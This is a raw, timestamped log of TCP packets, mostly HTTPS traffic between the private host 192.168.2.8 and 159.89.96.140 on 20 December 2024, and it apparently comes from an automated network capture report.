Dec 20, 2024 20:31:24.081140041 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.081156969 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.081166029 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.081176996 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.081208944 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.081273079 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.129817009 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.129833937 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.129877090 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.129901886 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.129952908 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.129967928 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.129983902 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.130002022 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.236583948 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.236649990 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.236665964 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.236680984 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.236702919 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.236732960 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.236901045 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.236915112 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.323292017 CET	49704	80	192.168.2.8	2.22.50.131
Dec 20, 2024 20:31:24.443578005 CET	80	49704	2.22.50.131	192.168.2.8
Dec 20, 2024 20:31:24.443739891 CET	49704	80	192.168.2.8	2.22.50.131
Dec 20, 2024 20:31:25.425919056 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:25.426281929 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.426309109 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:25.427759886 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:25.427830935 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.428848982 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.428939104 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:25.428977966 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.474688053 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.474720001 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:25.520478964 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.681973934 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.682094097 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:25.682176113 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.682400942 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:25.682420015 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:26.290467024 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:26.290584087 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:26.290637016 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:26.290939093 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:26.290957928 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:26.291554928 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:26.291584015 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:26.291649103 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:26.291858912 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:26.291872978 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.101763964 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.102121115 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:27.102154016 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.102830887 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.103178024 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:27.103275061 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.103382111 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:27.151330948 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.680767059 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.681245089 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:27.681276083 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.681602001 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.681962013 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:27.682019949 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:27.682100058 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:27.723337889 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:28.034774065 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:28.034960032 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:28.035168886 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:28.035168886 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:28.035168886 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:28.035242081 CET	443	49737	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:28.035379887 CET	49737	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:31.116856098 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:31.117121935 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:31.117140055 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:31.117165089 CET	443	49738	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:31.117187023 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:31.117208004 CET	49738	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:32.041554928 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:32.041676044 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:32.041903019 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:32.042124033 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:32.042157888 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:32.991255045 CET	49717	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:31:32.991277933 CET	443	49717	216.58.208.227	192.168.2.8
Dec 20, 2024 20:31:33.424081087 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:33.424537897 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:33.424632072 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:33.424983978 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:33.425308943 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:33.425375938 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:33.425492048 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:33.467345953 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:34.385318041 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:34.385412931 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:34.385525942 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:34.385632038 CET	49740	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:34.385663033 CET	443	49740	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730530024 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730549097 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730556965 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730572939 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730623960 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730654001 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.730710983 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.730729103 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.730757952 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.773291111 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.773353100 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.773436069 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.774930954 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.774981976 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.775017977 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.775048971 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.775075912 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.776107073 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.776122093 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.780284882 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.780332088 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.780390978 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.780654907 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.780664921 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.780710936 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.780915976 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.780930996 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.781053066 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.781064987 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.823705912 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.922771931 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.922781944 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.922863007 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.923013926 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.923013926 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.923043966 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.923091888 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.968795061 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.968863964 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.968981028 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.968993902 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.968993902 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.969014883 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.969027042 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.969180107 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.969239950 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.969558001 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.969577074 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:35.969583988 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:35.969623089 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:36.008853912 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:36.008949041 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:36.009126902 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:36.009229898 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:36.009252071 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.158705950 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.164622068 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.214080095 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.217191935 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.239701033 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.270834923 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.270916939 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.270926952 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.270951033 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.270973921 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.270989895 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.272564888 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.273159981 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.274874926 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.274969101 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.318005085 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.318018913 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.340025902 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.340280056 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.340650082 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.341167927 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.341223955 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.342053890 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.342081070 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.342092991 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.342112064 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.342187881 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.383356094 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.387340069 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.389518023 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.479845047 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.480144024 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.480190039 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.481616020 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.481683016 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.483510017 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.483603954 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.483867884 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:37.483876944 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:37.530452013 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.367491007 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367531061 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367541075 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367593050 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367615938 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367615938 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.367625952 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367652893 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367681026 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.367701054 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.367708921 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367768049 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.367806911 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.370058060 CET	49741	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.370074034 CET	443	49741	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.373317957 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.373364925 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.373455048 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.373661041 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.373673916 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418010950 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418040991 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418046951 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418098927 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418128014 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418138027 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418277025 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.418277025 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.418312073 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.418359995 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.430212975 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.430304050 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.430418968 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.430418968 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.430886030 CET	49743	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.430903912 CET	443	49743	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.608005047 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.608086109 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.608160019 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.608228922 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.608268976 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.608321905 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.609013081 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.609013081 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.609059095 CET	443	49744	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.609121084 CET	49744	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.777704954 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.777739048 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.777748108 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.777790070 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.777817965 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.777831078 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.777909040 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.777909994 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.777909994 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.777950048 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.778004885 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.812972069 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.813033104 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.813127995 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.813127995 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.813163996 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.858314037 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.865312099 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.865329027 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.865366936 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.865394115 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.865533113 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.865533113 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.865570068 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.865617990 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.991411924 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.991431952 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.991554976 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.991594076 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.991646051 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:38.999397993 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:38.999479055 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.024018049 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.024034023 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.024177074 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.024194002 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.024250031 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.044284105 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.044342995 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.044389009 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.044405937 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.044428110 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.044456005 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.162139893 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.162230015 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.162260056 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.162292004 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.162313938 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.163161039 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.174755096 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.174812078 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.174869061 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.174890995 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.174916029 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.174964905 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.175008059 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.176887989 CET	49742	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.176912069 CET	443	49742	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.195331097 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.195380926 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.195450068 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.195668936 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.195683002 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.201441050 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.218384027 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.218436956 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.218519926 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.218718052 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.218729019 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.247359991 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.753058910 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.797665119 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.885972023 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.885992050 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.886519909 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.886892080 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.886959076 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:39.887029886 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:39.927325964 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.331887960 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.331907988 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.331913948 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.331950903 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.331979990 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.331989050 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.332000971 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.332020044 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.332040071 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.332071066 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.368400097 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.368408918 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.368447065 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.368474960 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.368488073 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.368510008 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.368525982 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.414258003 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.414280891 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.414361954 CET	49734	443	192.168.2.8	159.89.96.140
